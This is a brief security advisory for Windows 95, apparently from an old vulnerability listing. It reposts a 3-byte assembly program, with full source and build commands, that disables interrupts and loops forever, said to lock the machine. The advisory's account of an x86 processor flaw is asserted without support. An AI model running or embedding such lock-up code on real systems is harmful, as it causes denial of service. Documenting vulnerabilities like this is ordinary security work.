SYSTEMS AFFECTED
Win95
PROBLEM
Elijah Zupancic posted following. This should lock ANY Win95
machine. Following prgram assembles to 3 bytes, and it exploits a
flaw in the x86 processor which bypasses the Windows multitasking
system, and its task manager. It locks up Windows for good. You
can't break out of it. Assemble like so:
TASM WINKILL.ASM
TLINK /t WINKILL.OBJ
Here's a exploit code:
.8086
.MODEL TINY
.CODE
ORG 100h
WIN_KILL_001:
cli
jmp short WIN_KILL_001
END WIN_KILL_001
SOLUTION
Nothing since this is icompatibility with HW and MS.
